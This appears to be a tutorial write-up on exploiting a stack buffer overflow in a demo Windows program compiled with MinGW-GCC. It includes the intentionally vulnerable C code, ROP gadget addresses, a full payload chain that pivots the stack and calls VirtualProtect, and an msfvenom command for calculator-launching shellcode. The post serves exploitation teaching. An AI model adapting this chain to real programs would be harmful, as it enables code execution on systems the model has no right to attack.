Table of Contents

  1. Introduction
  2. Prerequisites:
  3. Vulnerable program:
  4. Vulnerability
  5. Analysis of the executable
  6. Exploitation
    1. Initial plan
    2. Searching for ROP gadgets in the application
    3. Implementing the exploit
      1. Part1 - Initial Buffer overflow, stack pivoting
      2. Part2 - VirtualProtect the main module to ERW, scanf on ERW memory, and jump to it:
      3. Part3 - Final shellcode
      4. Putting it all together
  7. Conclusion

Introduction

While experimenting with the Windows exploit mitigation policies, I noticed that MinGW-GCC does not enable most of the modern protections by default.
This post is more like a writeup, demonstrating an exploit that can be adapted to work on other vulnerable programs compiled with the same compiler, also, it does not require knowledge of the version of the Windows DLLs in use, or the virtual addresses where they are loaded.
Tested on Windows 10 Professional, version 1803
gcc version 8.3.0 (Rev2, Built by MSYS2 project), latest at the time I am writing this.

Prerequisites:

  • Basics of buffer overflow vulnerabilities
  • a basic understanding of Return Oriented Programming (ROP)

Vulnerable program:

Let’s take a very simple program:

#include <stdio.h>
#include <windows.h>

void vuln()
{
	char name[60];
	scanf("%s", &name);
	printf("name = %s\n", name);
}

int main()
{
	setvbuf(stdout, NULL, _IONBF, 0); // disable stdout buffering
	printf("--*   BOF EXPERIMENT 1 *--\n");
	vuln();
	Sleep(1);
}

compile it with:

gcc prog.c -o prog.exe

The compiled executable can be found here.

Vulnerability

There is a clear vulnerability in the line scanf("%s", &name);, because scanf doesn’t know the size of the name buffer, it can read more than 60 character, thus overflowing the stack.
This program, albeit vulnerable, shouldn’t be exploitable on modern systems, a lot of effort has been put to mitigate memory corruption vulnerabilities, but surprisingly, it is!

Analysis of the executable

First, let’s check the exploit mitigations enabled on the executable by running Process Explorer (from sysinternals).

No ASLR

Surprisingly, we notice that ASLR is not enabled, and it’s the case for many other programs, this is already a big issue, this means that the imagebase of the main module (prog.exe) is fixed (and can be found in the headers).
DEP is enabled.

By having a look at the import table, we also notice that the compiler has added imports we didn’t reference from our code, one particularly interesting import is VirtualProtect, which is similar to the mprotect syscall on Linux (it changes the protections of pages of memory).

Import Table

Also, a quick check using x64dbg reveals that SSP protection is disabled.

reminder (click to expand)

ASLR stands for Address Space Layout Randomization, on Windows, it ensures that the module will be loaded at a dynamic virtual address that will change on each reboot.
DEP stands for Data Execution Protection, it’s a protection that ensures that the data sections (like the stack) are not executable, it prevents the classical buffer overflow attacks that overwrite the return address with the address of the user-controlled data, and execute shellcode directly.
SSP (for Stack Smashing Protector) is a protection that aims to detect buffer overflows, each function starts by saving a random value (a cookie) on the stack right next to its saved base pointer, and when it’s about to return, it checks if that value has changed, when a buffer overflow occurs, if the attacker doesn’t know that random value, any stack overflow will be detected.

Exploitation

Initial plan

Let’s start by causing a crash, and finding the offset to the return address.

We will use pattern_create and pattern_offset from metasploit-framework.

ruby pattern_create.rb 200
=> Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Finding the offset to the return address

ruby pattern_offset.rb "Ac4Ac5Ac"
=> 72

okay, return address at offset 72, let’s elaborate an exploit plan.

First, we don’t know how much memory we have on the stack to read our payload (rsp might leave the stack region while reading our payload), in order to make our exploit more reliable, we will scanf on a region that is -RW (.bss section for example), and then we will pivot the stack (make rsp point to that region instead).

Then, we will return to VirtualProtect to make sections on the main module ERW.

Finally, we will read our shellcode to the ERW memory, and we will jump to it.

Doing this is not straightforward, as DEP is enabled, we cannot execute our own code, we are obliged to reuse the existing code in the application, this is where ROP comes into play.

Searching for ROP gadgets in the application

We will use rp++ to search for ROP gadgets in the .text section of the main module.

rp++ -f prog.exe -r 4 --unique

[Rop Gadgets

The gadgets we find particularly interesting are the following:

Address Gadget Desired Effect
0x004019cf pop rax ;
ret
Set rax to any value
0x00402a1d test eax, eax ;
cmovne rdx, r8 ;
mov rax, rdx ;
add rsp, 0x28 ;
ret
set rax = rdx = r8
0x004010a4 xor r8, rax ;
add rsp, 0x28 ;
ret
set r8 = r8 ^ rax
0x00402bc0 pop rcx ;
ret
set rcx to any value
0x004010a7 add rsp, 0x28 ;
ret
clean shadow space
0x0040172c pop rsp ;
ret
pivot the stack
0x00402353 jmp qword [rax] jmp to what a pointer points to

reminder (click to expand)

ROP (Return Oriented Programming), is an exploitation technique commonly used to bypass DEP, since you can’t execute shellcode directly, you carefully choose some instruction sequences that generally finish with ret or jmp from the .text section such that when you execute them sequentially, you get the effect you want, these sequences are called gadgets.
The calling convention in use is __fastcall, first four arguments are passed in rcx,rdx,r8,r9, four qwords of shadowspace must also be allocated on the stack prior to the call (we will be using the gadget at 0x004010a7 to deallocate the shadowspace, because the function will not clean the stack for us).

Implementing the exploit

I split the exploit in multiple parts, to make it easier to follow.

Let’s set some variables that will act as parameters in our payload.

fake_stack = 0x407100; # in the .bss section
jmp_scanf = 0x402bf8; # trampoline jmp to scanf
virtualprotect_ptr = 0x408294; # address of the pointer to VirtualProtect that is in the import table

I am representing the payload as an array of qwords, converting the array to a payload string is simple (refer to the whole exploit code for more informations).

Part1 - Initial Buffer overflow, stack pivoting

Because some gadgets end with add rsp, 0x28;, we will follow them with [ 0 ] * (0x28 / 8) (that is, 0x28/8=5 qwords), so that we get to the next gadget on the chain after executing them.

# first thing to do : scanf("%s", fake_stack); rsp = fake_stack
part1 = [ 0x6161616161616161 ] * (72/8) # 72 bytes (72/8 qwords) to get to the return address
part1 += [ 0x004019cf, 0xdeadbeefdeadbeef, 0x00402a1d ] + [ 0 ] * (0x28/8) # set rax = r8;
part1 += [ 0x004010a4 ] + [ 0 ] * (0x28 / 8) # set r8 = 0
part1 += [ 0x004019cf, fake_stack, 0x004010a4 ] + [ 0 ] * (0x28 / 8) # set rax = fake_stack, set r8=fake_stack
part1 += [ 0x00402a1d ] + [ 0 ] * (0x28 / 8) # set rdx = fake_stack
part1 += [ 0x00402bc0, 0x404000, jmp_scanf, 0x004010a7, 0, 0, 0, 0, 0, 0x0040172c, fake_stack ] # set rcx = address of "%s"; scanf(rcx="%s",rdx=fake_stack); set rsp=fake_stack
# now, the stack will become fake_stack

Part2 - VirtualProtect the main module to ERW, scanf on ERW memory, and jump to it:

One challenge we face here is that we have no gadget to control the r9 register, and we need it because VirtualProtect takes 4 arguments (fourth argument is just a pointer that retrieves the old protections). Using objdump, and looking for instructions containing r9, we find this sequence:

Set R9

Let’s pick the gadget at 0x4027ff, if we set rcx = 0; and rax such that dword[rax+0xc] == 0 and dword [rax+8] == 0;, then it will have the effect : r9 = rax+0x28;, finding such a value for rax is simple enough, especially in a section like the .bss.

# next thing to do : VirtualProtect(0x401000, 0x11000, 7, any_writable_address)
part2 = [ 0x004019cf, 0x407400, 0x00402bc0, 0, 0x4027ff ] # set rax=0x407400; set rcx=0; set r9 = 0x407400 + 0x28
part2 += [ 0x004019cf, 0xdeadbeefdeadbeef, 0x00402a1d ] + [ 0 ] * (0x28/8); # set rax = r8;
part2 += [ 0x004010a4 ] + [ 0 ] * (0x28 / 8) # set r8 = 0
part2 += [ 0x004019cf, 0x11000, 0x004010a4 ] + [ 0 ] * (0x28 / 8) # set rax = 0x11000; set r8 = 0x11000
part2 += [ 0x00402a1d ] + [ 0 ] * (0x28 / 8) # set rdx = 0x11000
part2 += [ 0x004019cf, 0x11000^0x40, 0x004010a4] + [ 0 ] * (0x28 / 8) # set rax=0x11000^0x40; set r8 = r8^rax = 0x40
part2 += [ 0x00402bc0, 0x401000, 0x004019cf, virtualprotect_ptr, 0x00402353, 0x004010a7, 0, 0, 0, 0, 0 ] # set rcx=0x401000; set rax = virtualprotect_ptr; jmp [virtualprotect_ptr]
# now, 0x11000 bytes from 0x401000 should be ERW
# next thing to do : scanf("%s", 0x401000)
part2 += [ 0x004019cf, 0xdeadbeefdeadbeef, 0x00402a1d ] + [ 0 ] * (0x28/8); # set rax = r8;
part2 += [ 0x004010a4 ] + [ 0 ] * (0x28 / 8) # set r8 = 0
part2 += [ 0x004019cf, 0x401000, 0x004010a4 ] + [ 0 ] * (0x28 / 8) # set rax = 0x401000; set r8 = 0x401000
part2 += [ 0x00402a1d ] + [ 0 ] * (0x28 / 8) # set rdx = 0x401000
part2 += [ 0x00402bc0, 0x404000, jmp_scanf, 0x00401000 ] # set rcx = address of "%s"; scanf(rcx="%s",rdx=0x401000); return to 0x401000

Part3 - Final shellcode

Great! now, we can run any shellcode we want, the only constraint is that it must not contain whitespace characters (because scanf will stop reading input if it encounters such characters).

Let’s just generate a shellcode that pops the Windows calculator with msfvenom (part of Metasploit Framework), -b stands for bad chars, an encoder will be used to avoid these whitespace characters.

msfvenom -p windows/x64/exec CMD=calc.exe -f ruby -b "\x09\x0a\x0b\x0c\x0d\x20"

Putting it all together

The full exploit script is available here.

Pop Calculator

Conclusion

In the exploit, we have mostly used gadgets that should be present in every executable compiled with mingw-gcc, the only gadgets specific to this executable are the ones reading input (using scanf function), while programs differ in the way they read input, almost any stack buffer overflow can be turned into arbitary code execution using an approach similar to the one explained in this article.